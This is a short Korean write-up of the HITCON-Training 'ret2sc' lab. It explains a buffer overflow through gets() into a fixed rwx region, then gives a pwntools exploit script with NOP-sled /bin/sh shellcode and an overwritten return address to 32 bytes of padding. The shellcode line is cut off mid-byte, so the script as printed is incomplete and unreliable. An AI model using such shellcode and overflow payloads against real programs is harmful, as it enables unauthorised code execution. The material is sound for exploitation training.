문제


해당 binary는 read를 통해 hard coding된 영역에 0x32byte 만큼 입력을 받는다. 그리고 get 함수를 호출하는데 이 get 함수를 이용하면 bof를 발생시킬 수 있다.

hard coding된 영역은 rwx권한이 부여되어 있다.

ALSR이 걸려 있으므로 hard coding된 영역에 shellcode를 삽입한 뒤 get을 이용해 해당 주소로 jmp하면 shell을 얻을 수 있다.

풀이


#!/usr/bin/python

from pwn import *

file_path='/home/sungyun/HITCON-Training/LAB/lab3/ret2sc'

shell="\x90"*20
shell+="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x8$

pay="A"*32+"\x60\xa0\x04\x08"


p=process(file_path)

p.recvuntil(":")
p.send(shell)
p.recvuntil(":")
p.sendline(pay)

p.interactive()